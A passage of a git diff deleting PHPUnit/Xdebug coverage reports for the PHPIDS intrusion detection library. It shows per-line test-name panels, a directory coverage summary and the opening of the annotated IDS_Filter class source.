class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel169": { - "header": "35 tests cover line 169", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel171": { - "header": "35 tests cover line 171", - "body": "<ul><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel181": { - "header": "4 tests cover line 181", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel183": { - "header": "4 tests cover line 183", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel184": { - "header": "4 tests cover line 184", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel185": { - "header": "4 tests cover line 185", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel186": { - "header": "4 tests cover line 186", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel188": { - "header": "4 tests cover line 188", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel190": { - "header": "4 tests cover line 190", - "body": "<ul><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel200": { - "header": "9 tests cover line 200", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testValueAggregation(IDS_EventTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel213": { - "header": "2 tests cover line 213", - "body": "<ul><li class=\"testPassed\">testCount(IDS_EventTest)</li><li class=\"testPassed\">testCopy(IDS_EventTest)</li></ul>", - "footer": "" - }, - "panel225": { - "header": "3 tests cover line 225", - "body": "<ul><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testIterator(IDS_EventTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_EventTest)</li></ul>", - "footer": "" - }, - "dummy": "" - }; - - YAHOO.phpunit.container.prepare = function (e) { - var elemId = $E.getTarget(e).id; - var line = elemId.substr(4); - var panelId = "panel" + line; - var containerId = "container" + line; - - var panelData = YAHOO.phpunit.container.panelsData[panelId]; - - var panel = new YAHOO.widget.Panel(panelId, { visible:false, draggable:false, close:true } ); - panel.setHeader(panelData["header"]); - panel.setBody(panelData["body"]); - panel.setFooter(panelData["footer"]); - panel.render(containerId); - - $E.addListener(elemId, "click", panel.show, panel, true); - $E.removeListener(elemId, "mouseover"); - }; - - function init() { - var ypc = YAHOO.phpunit.container; - for (var panelId in ypc.panelsData) { - var elemId = "line" + panelId.substr(5); - $E.addListener(elemId, "mouseover", ypc.prepare); - } - } - - $E.addListener(window, "load", init); - </script> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter.html deleted file mode 100755 index b18d25e7bb286ce9bc3c069d1968f0f8a9e97df5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter.html +++ /dev/null @@ -1,102 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - </head> - - <body> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current directory:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Filter.html">Filter</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="coverLegendLo"> - <b>Low:</b> 0% to 35% - </span> - <span class="coverLegendMed"> - <b>Medium:</b> 35% to 70% - </span> - <span class="coverLegendHi"> - <b>High:</b> 70% to 100% - </span> - </td> - </tr> - </table> - </td> - </tr> - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverFile"><a href="Filter_Storage.php.html">Storage.php</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="84" height="10" alt="84.96 %"><img src="snow.png" width="16" height="10" alt="84.96%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">84.96%</td> - <td class="coverNumHi">113 / 133</td> - </tr> - - - </table> - </center> - - <br /> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br/> - </body> -</html> diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter.php.html b/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter.php.html deleted file mode 100755 index 72e0f047be99ab49506cd715545af047943ac238..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Filter.php.html +++ /dev/null @@ -1,612 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Filter.php.html">Filter.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">18 / 18</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#52">IDS_Filter</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">18 / 18</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#93">public function __construct($id, $rule, $description, array $tags, $impact)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">6 / 6</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#113">public function match($string)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#131">public function getDescription()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#144">public function getTags()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#154">public function getRule()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#164">public function getImpact()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#174">public function getId()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * PHPIDS Filter object -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * Each object of this class serves as a container for a specific filter. The -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * object provides methods to get information about this particular filter and -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * also to match an arbitrary string against it. -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * @category Security -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * @package PHPIDS -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @version Release: $Id:Filter.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : * @since Version 0.4 -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : */ -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span> : class IDS_Filter -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : { -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : /** -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : * Filter rule -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : * @var string -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : */ -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : protected $rule; -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : /** -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : * List of tags of the filter -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 